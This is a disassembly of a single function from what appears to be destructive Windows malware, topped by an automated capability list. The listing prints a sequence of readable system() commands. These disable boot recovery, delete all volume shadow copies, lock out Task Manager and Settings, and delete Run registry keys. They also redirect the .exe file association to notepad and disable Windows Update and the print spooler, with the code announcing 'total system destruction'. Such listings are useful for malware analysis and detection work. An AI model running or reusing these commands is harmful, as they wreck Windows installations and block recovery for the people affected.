Function at 0x140002d50
Capabilities:
Delete volume shadow copies
Disable automatic windows recovery features
Disable system features via registry on windows
Execute command
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x58
lea rdx, str.Initiating_total_system_destruction_sequence...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004360
lea rdx, [0x140004540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
mov r8d, 0x30
lea rdx, str.C:_Windows_System32_config_systemprofile_AppData
lea rcx, [rsp + 0x28]
call fcn.140004900
nop
lea rcx, [rsp + 0x28]
call fcn.140002440
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x140002df1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002dec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
mov r8d, 0x20
lea rdx, str.C:_Windows_System32_winlogon.exe
lea rcx, [rsp + 0x28]
call fcn.140004900
nop
lea rcx, [rsp + 0x28]
call fcn.140002440
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x140002e6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
mov r8d, 0x1f
lea rdx, str.C:_Windows_System32_svchost.exe
lea rcx, [rsp + 0x28]
call fcn.140004900
nop
lea rcx, [rsp + 0x28]
call fcn.140002440
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x140002ee3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ede
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ede
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005c4c
call fcn.1400026b0
lea rcx, str.bcdedit__set_default_recoveryenabled_no
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.vssadmin_delete_shadows__all__quiet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v_DisableRecovery__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_WSearch
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_WSearch_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionSearch___v_SearchEnabled__t_REG_DWORD__d_0__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_ms_settings.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoSettings__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ren_C:WindowsSystem32ms_settings.exe_ms_settings.exe.bak
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.icacls_C:WindowsSystem32_taskmgr.exe__deny_everyone:F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_DisableTaskMgr__t_REG_DWORD__d_1__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_taskmgr.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSoftwareMicrosoftWindowsCurrentVersionRun__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140002a70
lea rcx, str.assoc_.exeexefile.old
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ftype_exefile.old_SystemRoot_System32_notepad.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_wuauserv_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_config_spooler_start_disabled
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wuauserv
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_spooler
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.System_destruction_complete._Windows_Search__Settings__and_Task_Manager_are_all_disabled.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140004360
lea rdx, [0x140004540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
xor eax, eax
add rsp, 0x58
ret